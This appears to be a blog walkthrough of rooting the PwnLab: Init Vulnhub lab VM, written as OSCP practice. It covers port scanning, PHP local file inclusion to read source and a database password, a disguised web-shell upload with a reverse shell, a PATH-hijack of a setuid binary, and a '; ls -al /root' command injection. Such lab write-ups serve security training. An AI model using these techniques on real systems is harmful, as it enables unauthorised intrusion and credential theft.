Vulnhub: PwnLab: Init Boot2Root VM


Today I’ll be compromising the PwnLab: Init VM created by @Chronicoder and hosted with love by
Astute / psychic readers will have spotted that I’ve been following this list of VMs recently, as I’m working my way towards attempting the PWK / OSCP. Once this VM is done I’ll move on to the “Intermediate” section of that list above (skipping Kioptrix, as I’ve already done a write up for that 🙂 )
Enough rambling, let’s go break stuff!

Port Scanning

root@kali:~# nmap -sV -sC -p- -T5 $TARGET
Starting Nmap 7.60 ( ) at 2018-02-25 13:35 GMT
Nmap scan report for
Host is up (0.000064s latency).
Not shown: 65531 closed ports
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: PwnLab Intranet Image Hosting
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo: 
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 34723/tcp status
|_ 100024 1 55740/udp status
3306/tcp open mysql MySQL 5.5.47-0+deb8u1
| mysql-info: 
| Protocol: 10
| Version: 5.5.47-0+deb8u1
| Thread ID: 38
| Capabilities flags: 63487
| Some Capabilities: IgnoreSigpipes, Speaks41ProtocolOld, LongPassword, InteractiveClient, Support41Auth, SupportsTransactions, Speaks41ProtocolNew, IgnoreSpaceBeforeParenthesis, FoundRows, LongColumnFlag, ConnectWithDatabase, DontAllowDatabaseTableColumn, SupportsLoadDataLocal, SupportsCompression, ODBCClient, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
| Status: Autocommit
| Salt: P5X<`OMu$PGRGK$p-)(,
|_ Auth Plugin Name: 88
34723/tcp open status 1 (RPC #100024)

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 26.49 seconds

Tiny attack surface here – Apache server, RPCbind (which doesn’t tend to offer anything too interesting) and MySQL.

nmap’s -sV flag has done some banner grabbing and we can see that the title is “PwnLab Intranet Image Hosting”, which immediately makes me think “file upload vulnerability” but we’ll see in due time.

Let’s start with…


Navigating to the webserver we see the following –
Let’s go prod the login form first to see if it’s vulnerable to any of the usual suspects (SQL injection, weak creds, hardcoded rubbish in the page source)
Testing with sqlmap yielded no results, brute forcing a login with Hydra yielded no results, but I did notice an interesting parameter on the URL “/?page=login” and “/?page=index”.. So behind the scenes, there’s probably code like – “include ‘$_POST[“page”] . ‘.php'”. I tried the usual tricks to get it to include other files (“page=…/../../../../../etc/passwd” etc.) but had no luck. Hrm.

Googling for LFI testing techniques yielded this document, with the technique on page 7 yielding a lovely base64 encoding string version of the requested source code. ( I tried using the null byte trick () to force it to require non .php files but had no luck.)

This is what the (decoded..) index.php source code looks like –

root@kali:~# base64 -d index
//Multilingual. Not implemented yet.
if (isset($_COOKIE['lang']))
// Not implemented yet.
<title>PwnLab Intranet Image Hosting</title>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
 if (isset($_GET['page']))
  echo "Use this server to upload and share image files inside the intranet";


Notice the portions I’ve highlighted in green above, that’s a second LFI vulnerability that may potentially come in handy later if we’re struggling to get our shell to be included correctly.

Running Nikto on the box doesn’t give us much more useful information except it does mention that there’s a “config.php” which is publically accessible, let’s try our trick on “config” instead of “index”
Navigating to “” gives us the following –
Huzzah! Let’s go and decode it to see what it says –
root@kali:~# base64 -d
$server   = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";

Great so now we’ve got the database password, let’s log in using MySQL and get the data from the Users database 🙂

root@kali:~# mysql -u root -pH4u%QJ_H99 -h $TARGET
MySQL [(none)]> use Users;

Database changed
MySQL [Users]> show tables;

| Tables_in_Users |
| users |
1 row in set (0.00 sec)

MySQL [Users]> select * from users;
| user | pass |
| kent | Sld6WHVCSkpOeQ== | (JWzXuBJJNy)
| mike | U0lmZHNURW42SQ== | (SIfdsTEn6I)
| kane | aVN2NVltMkdSbw== | (iSv5Ym2GRo)
3 rows in set (0.00 sec)

MySQL [Users]>

So at this point we’ve got a set base64 encoded passwords (I’ve put the decoded versions in brackets next to the table for brevity.)

As you can see by those passwords, there’s no chance that I could’ve bruteforced those in any reasonable amount of time.

So let’s go back to the form and see what we can do now that we have valid credentials.

Form Attack Take 2

First and foremost, all of those credentials gleaned above seem to have the same permissions, so I’m going to go forward using the “kent” user.

So we’ve logged in as kent now and this is our upload form. Let’s try and upload a shell to the box!

Usual caveat applies, I’m going to use the excellent meterpreter reverse TCP shell, Google for commands etc.

10 minutes later I’ve still failed to upload a shell to the box. hrm. Using the base64 LFI trick above I pull down the source code to the upload page and see what kind of filtering is being done –

if(isset($_POST['submit'])) {
 if ($_FILES['file']['error'] <= 0) {
  $filename  = $_FILES['file']['name'];
  $filetype  = $_FILES['file']['type'];
  $uploaddir = 'upload/';
  $file_ext  = strrchr($filename, '.');
  $imageinfo = getimagesize($_FILES['file']['tmp_name']);
  $whitelist = array(".jpg",".jpeg",".gif",".png");
if (!(in_array($file_ext, $whitelist))) {
die('Not allowed extension, please upload images only.');

if(strpos($filetype,'image') === false) {
die('Error 001');

if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
die('Error 002');

if(substr_count($filetype, '/')>1){
die('Error 003');

$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
echo "<img src="".$uploadfile.""><br />";
} else {
die('Error 4');

So as we can see by the above –

  • The filetype must be ‘image’
  • The mime type must be image/**one of the common image formats**
  • The filetype must only contain a single / character (presumably some kind of LFI protection?)

So let’s upload a file with the correct extension and type but with the main payload being a PHP web shell.

Which echos out a broken image pointing to the URL “”.

So now we need to somehow get this to be included as PHP code… Let’s use the secondary LFI vulnerability we found above!

We just need to create a “lang” cookie and point it at the gif file we’ve created.

And then setup meterpreter to be listening when we hit F5 in the web app…

Bingo! We finally got a shell on the box. That was a hard fought battle..

Let’s do the usual privesc shenanigans.

Privesc ‘n Root

Privesc on this box was super frustrating. I killed the box 3 times trying kernel exploits (DirtyCOW 1, DirtyCOW 2, Remount FUSE)
After lots of scrabbling around running privesc-checker scripts etc. I eventually used my brain to try the user’s passwords from the webapp as their login passwords with “su”.. Both Kent and Kane’s login work luckily (not Mike’s, surprisingly). Kent had nothing interesting in his home directory but Kane had a binary with the sticky bit set to run as user mike!
The binary appears to be trying to cat a binary in mike’s home directory (probably just a plain old SYSTEM command being used.) this kind of file is vulnerable to us creating a shell script locally named ‘cat’ and updating the $PATH to use our cat before /bin/cat (this attack can be mitigated by directly referencing /bin/cat in the binary.)
So let’s try that now!
kane@pwnlab:~$ echo "/bin/bash" > cat
echo "/bin/bash" > cat
kane@pwnlab:~$ chmod +x cat
chmod +x cat
kane@pwnlab:~$ export PATH=./:$PATH
export PATH=./:$PATH
kane@pwnlab:~$ ./msgmike
mike@pwnlab:~$ whoami

It worked, we’re now user mike 🙂 Let’s see what we can do from Mike’s user account.

It looks like Mike’s account is empty apart from a binary named “msg2root” which runs with root privileges. When running the file it prompts you for a message to echo to root.. Standard command execution vulns on Linux mean trying to give input such as “any old string ; ls -al /root” which will be executed as two distinct commands.

It worked 🙂 So let’s leverage that to get a full compromise. I spent ages here trying to execute bash here but it kept using Mike’s account instead of root’s, eventually I stumbled across the “-p” flag which preserves privileges of whoever’s executing bash, not who’s executing msg2mike.

W00t! R00t!


Really enjoyable box! Quite difficult to be honest, so I’m surprised to see it on the “beginner’s” list in Abatchy’s blog post referenced above.
Nice twist with the sticky-bit binaries, and the teensy tiny privesc attack vector. Take aways for me from this are to always assume credential re-use and try to su into other accounts using previously found credentials.

Add a Comment

Your email address will not be published. Required fields are marked *

I accept that my given data and my IP address is sent to a server in the USA only for the purpose of spam prevention through the Akismet program.More information on Akismet and GDPR.